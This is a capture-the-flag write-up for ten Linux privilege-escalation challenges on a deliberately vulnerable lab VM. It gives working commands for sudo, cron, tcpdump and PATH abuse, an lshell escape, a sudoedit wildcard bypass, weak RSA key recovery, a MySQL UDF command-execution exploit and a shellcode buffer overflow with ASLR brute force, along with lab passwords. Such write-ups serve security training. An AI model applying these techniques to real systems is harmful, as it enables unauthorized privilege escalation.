Write-up NDH2018

Privilege escalation challenges made for Harmonie-Technologie exhibition stand @ NDH16 (Paris)

Index

Title	Description
About	VM link and Rules
Challenge 1	Bash_history
Challenge 2	Sudo
Challenge 3	Cron
Challenge 4	tcpdump
Challenge 5	Ambiguous system()
Challenge 6	Escaping
Challenge 7	Double wildcard
Challenge 8	Weak SSH public key
Challenge 9	MySql UDF
Challenge 10	ASLR Buffer overflow

About

The vulnerable virtual machine can be downloaded here:

• 32 bits
• 3,8 Go
• md5sum: 70968aaee90cb84f51b4769f54eba19e

Here are the rules:

• First, we SSH as level1 into /wargames/level1/
• Our goal is to elevate our privileges as level1_OK to read the validation/flag file.
• This flag enables us to SSH as level2 into /wargames/level2, etc.
• The main goal is to read level10's validation/flag.

During NDH2018, VMs used to kick challengers after 60 minutes and passwords used to be re-generated each time.

Challenge 1

We connect to level1 with password 73e5fe8dd943659ef46dd638c1ff2e9d:

ssh [email protected]

We spawn into /wargames/level1/. Let's see what we have:

level1@harmonie-technologie:~$ ls -la
total 20
dr-xr-x---  3 level1    level1    4096 Jun 13 10:38 .
dr-xr-xr-x 12 root      root      4096 May 28 07:03 ..
-r--r-----  1 level1    level1     128 Jun 13 10:10 .bash_history
-r--r-----  1 level1    level1     595 Jun 13 10:24 indices
dr-x------  2 level1_OK level1_OK 4096 May 22 08:36 validation

.bash_history looks not empty. Let's cat it.

level1@harmonie-technologie:~$ cat .bash_history 
ls
ls validation
cd validation
cd ..
cd level1/validation
cd level1
suu level1_OK
725fc84ebb57658e0851476ff0dbf48c
su level1_OK 

level1_OK:725fc84ebb57658e0851476ff0dbf48c

It seems that level1_OK tried to su, but due to keying error, he typed his password when not asked. His password is now saved into .bash_history like all commands he types. Armed with this password, we can SSH as level1_OK and cat the flag:

level1_OK@harmonie-technologie:~$ ls -la
total 12
dr-x------ 2 level1_OK level1_OK 4096 May 22 08:36 .
dr-xr-x--- 3 level1    level1    4096 Jun 13 10:38 ..
-r-------- 1 level1_OK level1_OK   73 Jun 13 09:53 flag
level1_OK@harmonie-technologie:~$ cat flag 

Identifiants SSH :
login : level2
mdp : 9a8589dac2fdf54ffb9aed5bbd3d40f5 

level2:9a8589dac2fdf54ffb9aed5bbd3d40f5

Challenge 2

We connect as level2 with the hash previously found. We can check sudo -l to see that we can execute a command as level2_OK.

level2@harmonie-technologie:~$ sudo -l
Matching Defaults entries for level2 on harmonie-technologie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    sudoedit_follow

User level2 may run the following commands on harmonie-technologie:
    (level2_OK) NOPASSWD: /bin/bash

We are allowed to spawn a bash shell as level2_OK. Let's do this, and let's read our flag ! :

level2@harmonie-technologie:~$ sudo -u level2_OK /bin/bash
level2_OK@harmonie-technologie:/wargames/level2$ cat validation/flag 

Identifiants SSH :
login : level3
mdp : ec3ae40face0433f0a8333396d73f17a

level3:ec3ae40face0433f0a8333396d73f17a

Challenge 3

We can see a script.sh file in our directory with ls command.

level3@harmonie-technologie:~$ ls -la
total 20
dr-xr-x---  3 level3    level3    4096 Jun 13 10:37 .
dr-xr-xr-x 12 root      root      4096 May 28 07:03 ..
-r--r-----  1 level3    level3      20 Jun 13 10:37 indices
-r-xrwx---  1 level3_OK level3      60 May 29 16:28 script.sh
dr-x------  2 level3_OK level3_OK 4096 May 29 07:27 validation

This script is owned by level3_OK. Let's see what is the purpose of this file by cating it

level3@harmonie-technologie:~$ cat script.sh
#!/bin/sh
# Free Disk Space Script

df -h > /tmp/free 2>&1

Okay, it seems to write output of df command into /tmp/free. We execute ls on this file and see that the file is also owned by level3_OK.

level3@harmonie-technologie:~$ ls -l /tmp/free 
-r--r----- 1 level3_OK level3_OK 323 Jul  4 14:29 /tmp/free

We assume this file was created by our script.sh. Is there any chance that our script.sh is executed periodically, with cron ? With stat command, we see the file is created each 20 seconds.

level3@harmonie-technologie:~$ stat /tmp/free 
  File: /tmp/free
  Size: 323       	Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d	Inode: 655852      Links: 1
Access: (0440/-r--r-----)  Uid: ( 1013/level3_OK)   Gid: ( 1013/level3_OK)
Access: 2018-07-04 14:29:01.627999685 -0500
Modify: 2018-07-04 14:29:01.639999685 -0500
Change: 2018-07-04 14:59:41.983335199 -0500
 Birth: -

So our assumption is probably true. Let's edit our script.sh to copy the flag into /tmp/

level3@harmonie-technologie:~$ echo 'cp /wargames/level3/validation/flag /tmp/flag ; chmod 777 /tmp/flag' >> /wargames/level3/script.sh

We can see that /tmp/flag is then created, with our flag in it

level3@harmonie-technologie:~$ cat /tmp/flag

Identifiants SSH :
login : level4
mdp : 1dff8183db0c37844e7a3cb00787ed1d

level4:1dff8183db0c37844e7a3cb00787ed1d

Challenge 4

First, we sudo -l to see that we are allowed to execute tcpdump as level4_OK.

level4@harmonie-technologie:~$ sudo -l
Matching Defaults entries for level4 on harmonie-technologie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    sudoedit_follow

User level4 may run the following commands on harmonie-technologie:
    (level4_OK) NOPASSWD: /usr/sbin/tcpdump

If we could find a way tcpdump to execute a command or a script, it will be done as level4_OK. Fortunately for us, we can find this page showing us how to do such a thing. First, we create a script to execute

level4@harmonie-technologie:~$ echo "cat /wargames/level4/validation/flag" > /tmp/script.sh
level4@harmonie-technologie:~$ chmod +x /tmp/script.sh

Then, let's do crazy things with tcpdump options to execute our script.sh !

level4@harmonie-technologie:~$ sudo -u level4_OK /usr/sbin/tcpdump -ln -i ens32 -w /dev/null -W 1 -G 1 -z /tmp/script.sh
tcpdump: listening on ens32, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
9 packets received by filter
0 packets dropped by kernel
level4@harmonie-technologie:~$ Identifiants SSH :
login : level5
mdp : 6849269f685dbfca052e87ae24119305

level5:6849269f685dbfca052e87ae24119305

Challenge 5

First, we ls. We can see a binary level5 with setuid bit on

level5@harmonie-technologie:~$ ls -la
total 28
dr-xr-x---  3 level5    level5    4096 Jun 13 10:50 .
dr-xr-xr-x 12 root      root      4096 May 28 07:03 ..
-r--r-----  1 level5    level5      63 Jun 13 10:37 indices
-r-sr-x---  1 level5_OK level5    7652 May 22 08:36 level5
-r--r-----  1 level5    level5      70 Jun 13 10:50 level5.c
dr-x------  2 level5_OK level5_OK 4096 May 22 08:36 validation

It means that when we execute level5, it will be done as level5_OK. So if we could find a way to make our level5 binary execute commands for us, we win ! Let's see the level5.c (source code)

level5@harmonie-technologie:~$ cat level5.c 
# Brouillon
#include <stdio.h>

void main()
{
  system("ls -lah ");
}

There is not a lot of things. We just have a system function executing a bash command. The problem here is that our ls command is ambiguous. Indeed, how does our system function know where is located our ls command ? It simply browses our $PATH variable and check if ls is available in each directory from left to right.

level5@harmonie-technologie:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

With this $PATH, system() will be looking for ls binary into /usr/local/bin first, then into /usr/bin, etc. So, let's imagine we create a fake ls binary into /tmp/ and fool system() function by editing our $PATH variable to point to our fake ls binary ?

level5@harmonie-technologie:~$ echo "/bin/sh" >> /tmp/ls
level5@harmonie-technologie:~$ chmod +x /tmp/ls
level5@harmonie-technologie:~$ cd /tmp/ ; touch a
level5@harmonie-technologie:/tmp$ export PATH=/tmp:$PATH

Let's execute our level5 binary

level5@harmonie-technologie:/tmp$ /wargames/level5/level5 a

---------------------------------
- HARMONIE-TECHNOLOGIE PRESENTS -
---------------------------------

$ whoami
level5_OK
$ cat /wargames/level5/validation/flag

Identifiants SSH
login : level6
mdp : dd37daab8527108ecef8c8d8da901dd4

level6:dd37daab8527108ecef8c8d8da901dd4

Challenge 6

We try to SSH as level6 but we come face to face with that. Wtf ? We can try to find keys to stop this (good luck). Or... you can think. This pops up when we SSH with correct logins. We can assume that script is launched with .bash_profile

ssh [email protected] -t "/bin/bash"
[email protected]'s password: 
level6@harmonie-technologie:~$

We see with sudo -l we can execute a binary named 1up

level6@harmonie-technologie:~$ sudo -l
Matching Defaults entries for level6 on harmonie-technologie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    sudoedit_follow

User level6 may run the following commands on harmonie-technologie:
    (level6_OK) NOPASSWD: /usr/bin/1up

1up is executed as level6_OK. Let's go.

level6@harmonie-technologie:~$ sudo -u level6_OK /usr/bin/1up 
== Harmonie-Technologie ==
Welcome to a restricted shell
Type '?' or 'help' to get the list of allowed commands
level6_OK:~$ help
cd     date  exit  history  lpath  lsudo  whereis
clear  echo  help  id       ls     pwd    whoami 

Now we are level6_OK, but into a limited shell. We can't do lot of things... The hint in home directory tells us that this is lshell. After some researches, we found into lshell github issues a way to escape lshell.

level6_OK:~$ echo FREEDOM! && cd () bash && cd
FREEDOM!
level6_OK@harmonie-technologie:~$ cat flag

Identifiants SSH :
login : level7
mdp : ed157267bb12163a0aff440a30465565

level7:ed157267bb12163a0aff440a30465565

Challenge 7

We can see with sudo -l we are allowed to sudoedit as level7_OK.

level7@harmonie-technologie:~$ sudo -l
Matching Defaults entries for level7 on harmonie-technologie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    sudoedit_follow

User level7 may run the following commands on harmonie-technologie:
    (level7_OK) NOPASSWD: sudoedit /wargames/level7/*/*/hello.html

The double wildcard catches our attention. We look for a privilege escalation exploit on internet and find this. Unfortunately, we are not allowed to create files in these directories. But there is a way to fool our sudoedit with spaces.

level7@harmonie-technologie:~$ sudoedit -u level7_OK /wargames/level7/ validation/flag /hello.html

It modifies our validation/flag as level7_OK and we can see the flag

GNU nano 2.7.4             File: /var/tmp/flag.XXarylty                       

Identifiants SSH :
login : level8
mdp : 838e7b5fe545215c7d057d1e546d1192

level8:838e7b5fe545215c7d057d1e546d1192

Challenge 8

First, we see a level8_OK.pub, which is a public key.

level8@harmonie-technologie:~$ ls -la
total 16
dr-xr-x---  3 level8    level8    4096 Jun 13 09:13 .
dr-xr-xr-x 12 root      root      4096 May 28 07:03 ..
-r--r-----  1 level8_OK level8     452 Jun 13 09:13 level8_OK.pub
dr-x------  3 level8_OK level8_OK 4096 May 29 14:07 validation

level8@harmonie-technologie:~$ cat level8_OK.pub 
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQJEOdD3xMZXXa6KlK5TkdGp
Xks6KsSAvEhOEVu5f2CpF6PbXOHQbn8RFF852PDuqDsAuL+FhMfTyUHy8QtYe5AX
m48Dj9Huf3uDRoTgQ8kzbQ/lJRY9o+XveRSLXliobpO/03mrGVJ6GQg+kXoUp6JF
v9upT0xP7tX/ZHatsca0vwKBgQIUKNuaGhnRSwphFCHpTdjR/Qn4maTnPr6Mefgc
XMwAMl51wNgda1z68WQvZUypv0lzUwel6EnmNAg5Jxtgu2VBIyZw8yL+RZ0S/QhQ
838fTH68XJ4Wnr5M3Xp1/PlTbw+Uyuj1pG6tU5W0b7LTMHsiP1mo+KKWAmBW5js1
WJuEMw==
-----END PUBLIC KEY-----

We look for a way to retrieve private key from public key and find RSACtfTool

mbp:~ aas$:/opt/RsaCtfTool# python2.7 ./RsaCtfTool.py --publickey ./level8_OK.pub --private
-----BEGIN RSA PRIVATE KEY-----
MIICOQIBAAKBgQJEOdD3xMZXXa6KlK5TkdGpXks6KsSAvEhOEVu5f2CpF6PbXOHQ
bn8RFF852PDuqDsAuL+FhMfTyUHy8QtYe5AXm48Dj9Huf3uDRoTgQ8kzbQ/lJRY9
o+XveRSLXliobpO/03mrGVJ6GQg+kXoUp6JFv9upT0xP7tX/ZHatsca0vwKBgQIU
KNuaGhnRSwphFCHpTdjR/Qn4maTnPr6MefgcXMwAMl51wNgda1z68WQvZUypv0lz
Uwel6EnmNAg5Jxtgu2VBIyZw8yL+RZ0S/QhQ838fTH68XJ4Wnr5M3Xp1/PlTbw+U
yuj1pG6tU5W0b7LTMHsiP1mo+KKWAmBW5js1WJuEMwIgRcnVWAD+e2g5P7EkY6PZ
z84C0lkNl6trJOS8W28jv5sCQQEyAyR+3b2K13m7XwIZrBZyGRP19A3kLg+mcDEs
vBnCzNS8Vs9it2oQ62GE9HBAl7qMdxPLjjTApWRKEvdO6SRPAkEB5WXyQiDkaUsG
2m6x5yRXf/La+o61TIp0VAzKPqhy8C5WZL/MIddBY8CJkAXjN1VjHtTu54xXLyAl
L/AAjZeckQIgRcnVWAD+e2g5P7EkY6PZz84C0lkNl6trJOS8W28jv5sCIEXJ1VgA
/ntoOT+xJGOj2c/OAtJZDZerayTkvFtvI7+bAkBKy2kr6DNEuU85q/XKADVY42nn
tUfGDfFTxSpHPBbyIzaFAWznIPnD6AbfYbagjs/Mn25Wxzb6D6TORbijBID2
-----END RSA PRIVATE KEY-----

Now, what remains to be done is to SSH as level8_OK with the retrieved private key

mbp:~ aas$ chmod 600 level8_OK.priv 
mbp:~ aas$ ssh -i level8_OK.priv [email protected]
Linux harmonie-technologie 4.9.0-6-686-pae #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
level8_OK@harmonie-technologie:~$ cat flag

Identifiants SSH :
login : level9
mdp : b9581507cf0b6d50f0e49e784b2e7a1a

level9:b9581507cf0b6d50f0e49e784b2e7a1a

Challenge 9

We see we can launch mysql here.

level9@harmonie-technologie:~$ ls -la
total 16
dr-xr-x---  3 level9    level9    4096 Jun  4 17:08 .
dr-xr-xr-x 12 root      root      4096 May 28 07:03 ..
-r--r-----  1 level9    level9      50 Jun  4 17:08 .my.cnf
lrwxrwxrwx  1 root      root        26 Jun  4 15:26 mysql -> /usr/local/mysql/bin/mysql
dr-x------  2 level9_OK level9_OK 4096 May 22 08:36 validation

With ps command, we see mysqld is started as level9_OK, and we have basedir, datadir and plugin-dir

level9@harmonie-technologie:~$ ps -aux | grep mysql
...
level9_+   [...] /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=level9_OK [...]
...

We want to make mysql execute commands for us. We heard about UDF. We found this old exploit. Let's download our exploit

level9@harmonie-technologie:~$ cd /tmp/
level9@harmonie-technologie:/tmp$ wget https://raw.githubusercontent.com/ankh2054/MySQL-UDF/master/raptor_udf2.c
raptor_udf2.c                100%[============================================>]   2.59K  --.-KB/s    in 0s      

We compile our source code, and we execute mysql

level9@harmonie-technologie:~$ gcc -g -c raptor_udf2.c
level9@harmonie-technologie:~$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
level9@harmonie-technologie:~$ cd ; ./mysql

We execute these mysql commands

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));

We use our plugin-dir enumerated with ps command. Then we create our do_system function to execute commands

mysql> select * from foo into dumpfile '/usr/local/mysql/lib/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';

All we have to do now is to execute a command

mysql> select do_system('cp /wargames/level9/validation/flag /tmp/lev9 ; chmod 777 /tmp/lev9');
mysql> exit;
Bye

We can now read the flag

level9@harmonie-technologie:~$ cat /tmp/lev9

Identifiants SSH :
login : levelfinal
mdp : 181b70c897ddd4a4673d5794206379b7

levelfinal:181b70c897ddd4a4673d5794206379b7

Challenge 10

A ls lets us know we have a levelfinal binary with setuid bit. Again, it means it is executed as levelfinal_OK.

levelfinal@harmonie-technologie:~$ ls -la
total 32
dr-xr-x---  3 levelfinal    levelfinal    4096 Jun 13 10:36 .
dr-xr-xr-x 12 root          root          4096 May 28 07:03 ..
---x------  1 levelfinal    levelfinal    7508 May 22 09:05 getEnvAddress
-r--r-----  1 levelfinal    levelfinal     182 Jun 13 10:36 indices
-r-sr-x---  1 levelfinal_OK levelfinal    7556 May 22 08:36 levelfinal
dr-x------  2 levelfinal_OK levelfinal_OK 4096 May 22 08:36 validation

We try to execute our binary file

levelfinal@harmonie-technologie:~$ ./levelfinal aas
Hello aas! You can't hack me...

We use strings on the binary and see that strcpy function is used

levelfinal@harmonie-technologie:~$ strings levelfinal 
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
strcpy
exit
puts

Is it possible the binary is vulnerable to buffer overflow ? Let's try to send lot of A.

levelfinal@harmonie-technologie:~$ ./levelfinal `python -c "print 'A'*100"`
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! You can't hack me...
Segmentation fault

Segfault, nice. We probably have overwritten EIP register (next instruction to be executed). We now use dbg to disassemble functions and make sure strcpy is indeed used in vuln function.

levelfinal@harmonie-technologie:~$ gdb ./levelfinal -q
(gdb) disas main
Dump of assembler code for function main:
   [...] 
   0x0000069c <+64>:	add    $0x4,%eax
   0x0000069f <+67>:	mov    (%eax),%eax
   0x000006a1 <+69>:	sub    $0xc,%esp
   0x000006a4 <+72>:	push   %eax
   0x000006a5 <+73>:	call   0x620 <vuln>
   0x000006aa <+78>:	add    $0x10,%esp
   0x000006ad <+81>:	mov    $0x0,%eax
   0x000006b2 <+86>:	lea    -0x8(%ebp),%esp
   [...]
   
(gdb) disas vuln
Dump of assembler code for function vuln:
   [...]
   0x0000063b <+27>:	push   %eax
   0x0000063c <+28>:	call   0x460 <strcpy@plt>
   0x00000641 <+33>:	add    $0x10,%esp
   [...]

Here, we want to find offset to overwrite EIP. To that purpose we use pattern-create

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Let's use this pattern inside gdb

levelfinal@harmonie-technologie:~$ gdb ./levelfinal -q
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x41386141 in ?? ()

We then use pattern_offset to retrieve offset

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386141
[*] Exact match at offset 24

After 24 letters, we overwrite EIP register. Next we want to store our shellcode in memory. One way to achieve that purpose is to put it in environment variable. We put few NOPs instructions before our shellcode to give us latitude when our program will need our shellcode.

levelfinal@harmonie-technologie:~$ export SC=$(python -c 'print "\x90"*30000 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"')

We retrieve our shellcode address

levelfinal@harmonie-technologie:~$ ./getEnvAddress SC
SC is located at 0xbfd2fa0f

We gather all these informations and write the following command

./levelfinal `python -c "print 'A'*24 + '\x15\xfa\xd2\xbf'"`

This probably works without ASLR protection. But here, it is enabled. But we are on a 32 bits machine, and we can simply bruteforce it... To that purpose, let's add some bash around our python command.

levelfinal@harmonie-technologie:~$ for i in {1..66000}; do echo number of tries: $i && ./levelfinal `python -c "print 'A'*24 + '\x15\xfa\xd2\xbf'"`&& break;echo Exploit failed;done;

00fa43a89878a45deaad751f4a7c23d2

The end

Thanks for reading this.
I hope you enjoyed it as much as I enjoyed making these challenges.

Created by Lydéric Lefebvre